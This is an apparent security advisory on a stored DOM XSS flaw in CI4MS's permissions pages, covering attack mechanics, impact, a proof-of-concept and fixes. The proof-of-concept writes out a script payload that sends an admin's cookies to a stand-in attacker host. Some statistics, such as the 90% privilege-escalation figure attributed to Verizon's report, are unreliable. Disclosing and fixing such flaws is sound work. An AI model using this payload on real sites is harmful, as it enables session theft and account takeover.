[CRITICAL] Security Advisory: CI4MS: Permissions Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS (ci4-cms-erp/ci4ms)

A stored DOM-based XSS vulnerability in CI4MS, an open-source ERP and CMS built on CodeIgniter 4, lets low-privilege users inject JavaScript into group and role management fields. Attackers store payloads server-side, which execute automatically when admins view the permissions interface. This leads to full administrator account takeover and complete application compromise.

CI4MS (ci4-cms-erp/ci4ms on GitHub) targets small businesses for inventory, sales, and user management. Deployed instances often handle sensitive data like customer info and finances. The flaw affects the backend group list endpoint at /backend/users/groupList/. Three specific input fields in group creation and editing lack sanitization. User input flows straight into HTML rendering without encoding, firing payloads in the admin’s browser context.

Attack Mechanics

Attackers need only basic access, like a regular user account. They inject payloads such as <script>alert(document.domain)</script> or more sophisticated ones stealing session cookies into group name, description, or other fields. The app saves this raw. When an admin loads the group/role management page, the browser parses the tainted data via .html() or similar sinks, executing the script.

Execution happens in a high-privilege context. Scripts access admin session tokens, DOM, and can exfiltrate data to attacker servers. From there, privilege escalation is trivial: overwrite user roles, create backdoors, or pivot to database access. No user interaction required beyond the admin viewing the page—a routine task.

Impact and Why It Matters

This isn’t theoretical. A video POC on Mega.nz demonstrates the exploit in under a minute: inject, save, reload as admin, alert pops. Real-world fallout? Full RCE in the browser leads to server-side control. Attackers gain persistent admin access, enabling data theft, ransomware deployment, or supply chain attacks if integrated with other systems.

Stats underscore the risk: XSS tops OWASP Top 10. Admin panels amplify damage—90% of breaches involve privilege escalation per Verizon DBIR 2023. CI4MS users, often non-tech SMBs, rarely patch promptly. Public GitHub repo means exposed installs are scannable via Shodan. If your org runs this, assume compromise if any untrusted user exists.

Skeptically, CodeIgniter 4’s security model expects devs to handle output encoding. CI4MS skips it here, a classic oversight. Not novel—similar flaws hit other CMS like WordPress plugins yearly—but severity is max due to permissions context. Fair point: open-source maintainers fix fast if reported properly.

Proof of Concept

Reproduce in a test instance:

1. Login as low-priv user.
2. Go to Group/Role Management: /backend/users/groupList/
3. In any of three group fields (e.g., name, desc), enter: <script>fetch('https://attacker.com?cookie='+document.cookie)</script>
4. Save.
5. Login as admin, reload page.
6. Payload executes, exfils cookie.

Video: mega.nz/file/6QUEXDbR#…

Fix It Now

Patch immediately. Core fixes:

• HTML-encode all outputs: Use CodeIgniter’s esc() or htmlspecialchars() on group data before rendering.
• Sanitize inputs: Strip tags or validate against allowlists.
• Ditch .html(), innerHTML for user data—use textContent or safe templating.
• Layer defenses: CSP headers blocking inline scripts, HttpOnly/SameSite cookies, Secure flag.

Update CI4MS from GitHub, test thoroughly. Audit similar flows. For production, isolate admin panels, use MFA, monitor logs for anomalies. This vuln exposes why half-baked CMS security fails: one slip in core perms equals game over.

Bottom line: If CI4MS runs your backend, migrate or harden yesterday. Attackers hunt these—don’t wait for headlines.